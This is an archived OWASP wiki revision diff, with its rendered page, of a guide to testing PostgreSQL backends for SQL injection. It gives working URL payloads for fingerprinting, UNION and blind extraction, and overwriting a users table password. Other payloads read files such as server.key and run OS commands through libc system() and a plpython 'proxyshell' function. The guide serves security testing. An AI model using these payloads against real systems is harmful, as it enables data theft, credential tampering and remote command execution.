This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Difference between revisions of "OWASP Backend Security Project Testing PostgreSQL"
Line 6: | Line 6: | ||
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator | * PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator | ||
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''. | * SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''. | ||
− | |||
− | |||
− | |||
− | |||
Line 18: | Line 14: | ||
When a SQL Injection has been found you need to carefully | When a SQL Injection has been found you need to carefully | ||
fingerprint backend database engine. You can determine that backend database engine | fingerprint backend database engine. You can determine that backend database engine | ||
− | is PostgreSQL by using | + | is PostgreSQL by using ''::'' cast operator. |
− | |||
− | |||
− | |||
'''Examples:''' | '''Examples:''' | ||
− | |||
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki> | <nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki> | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
+ | Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too. | ||
'''Example''': | '''Example''': | ||
− | |||
− | |||
− | |||
− | |||
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki> | <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki> | ||
Line 55: | Line 38: | ||
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)'' | *: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)'' | ||
− | |||
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current | Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current | ||
session process sleep for ''n'' seconds. | session process sleep for ''n'' seconds. | ||
− | On previous | + | On previous version you can easy create a custom ''pg_sleep(n)'' by using libc: |
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT | * CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT | ||
− | == Single Quote | + | == Single Quote unescape == |
String can be encoded, to prevent single quotes escaping, by using chr() function. | String can be encoded, to prevent single quotes escaping, by using chr() function. | ||
Line 88: | Line 70: | ||
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki> | <nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki> | ||
− | == Current User == | + | |
+ | |||
+ | == Attack Vectors == | ||
+ | |||
+ | === Current User === | ||
Current user can be retrieved with the following SQL SELECT statements: | Current user can be retrieved with the following SQL SELECT statements: | ||
Line 103: | Line 89: | ||
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki> | <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki> | ||
− | == Current Database == | + | === Current Database === |
Native function current_database() return current database name. | Native function current_database() return current database name. | ||
Line 111: | Line 97: | ||
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki> | <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki> | ||
− | |||
− | |||
=== Reading from a file === | === Reading from a file === | ||
Line 183: | Line 167: | ||
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' -- | /store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' -- | ||
− | /store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1-- | + | /store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1-- |
</nowiki> | </nowiki> | ||
Line 212: | Line 196: | ||
==== plperl ==== | ==== plperl ==== | ||
− | === | + | === Network Testing === |
= References = | = References = | ||
= Tools = | = Tools = |
Revision as of 19:15, 27 May 2008
Short Description of the Issue
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL. Keep in mind the following peculiarities:
- PHP Connector allow multiple statements to be executed by using ; as a statement seperator
- SQL Statement can be truncated on vulnerable URL by appending comment char: --.
Black Box testing and example
Identifing PostgreSQL
When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using :: cast operator.
Examples:
http://www.example.com/store.php?id=1 AND 1::int=1
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1-- PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Blind Injection
For blind SQL Injection you should take in consideration internal provided functions:
- String Length
- LENGTH(str)
- Extract a substring from a given string
- SUBSTR(str,index,offset)
- String representation with no single quotes
- CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
Starting from 8.2 PostgreSQL has introduced a built int function: pg_sleep(n) to make current
session process sleep for n seconds.
On previous version you can easy create a custom pg_sleep(n) by using libc:
- CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
Single Quote unescape
String can be encoded, to prevent single quotes escaping, by using chr() function.
* chr(n): Returns the character whose ascii value corresponds to the number * ascii(n): Returns the ascii value corresponds to the character
Let say you want to encode the string 'root':
select ascii('r') 114 select ascii('o') 111 select ascii('t') 116
We can encode 'root' with:
chr(114)||chr(111)||chr(111)||chr(116)
Example:
http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
Attack Vectors
Current User
Current user can be retrieved with the following SQL SELECT statements:
SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername()
Examples:
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--
Current Database
Native function current_database() return current database name.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
Reading from a file
ProstgreSQL provides two way to access local file:
- COPY statement
- pg_read_file() internal function (starting from PostgreSQL 8.1)
COPY:
This operator copies data between file and table. Thus in order to user it you need to enumerate at least one table and one column to store result within. How to enumerate tables and columns has been discussed on previous sections.
Example:
Let say you allready guess the existence of content text column in table contents belonging to current database. You can retrieve postgres client history with the following trick:
/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--
pg_read_file():
This function was introduced on PostgreSQL 8.1 and allow to read arbitrary file located inside DBMS data directory.
Examples:
- SELECT pg_read_file('server.key',0,1000);
Writing to a file
Shell Injection
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, tcl.
Dynamic Library
Until PostgreSQL 8.1 it was possible to add a custom function linked with libc:
- CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
Since system returns an int how we can fetch results from system stdout?
Here's a little trick:
- create a stdout table
- CREATE TABLE stdout(id serial, system_out text)
- executing a shell command redirecting it's stdout
- SELECT system('uname -a > /tmp/test')
- use a COPY statements to push output of previous command in stdout table
- COPY stdout(system_out) FROM '/tmp/test'
- retrieve output from stdout
- SELECT system_out FROM stdout
Example:
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT -- /store.php?id=1; SELECT system('uname -a > /tmp/test') -- /store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' -- /store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
plpython
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG
- Check if PL/Python has been enabled on some databsae:
- SELECT count(*) FROM pg_language WHERE lanname='plpython'
- If not assuming that sysadm has allready installed plpython package try to enable:
- CREATE LANGUAGE plpythonu
- If all of the above succeded create a proxy shell function:
- CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
- Have fun with:
- SELECT proxyshell(os command);
Example:
- Create a proxy shell function:
- /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
- Run a OS Command:
- /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--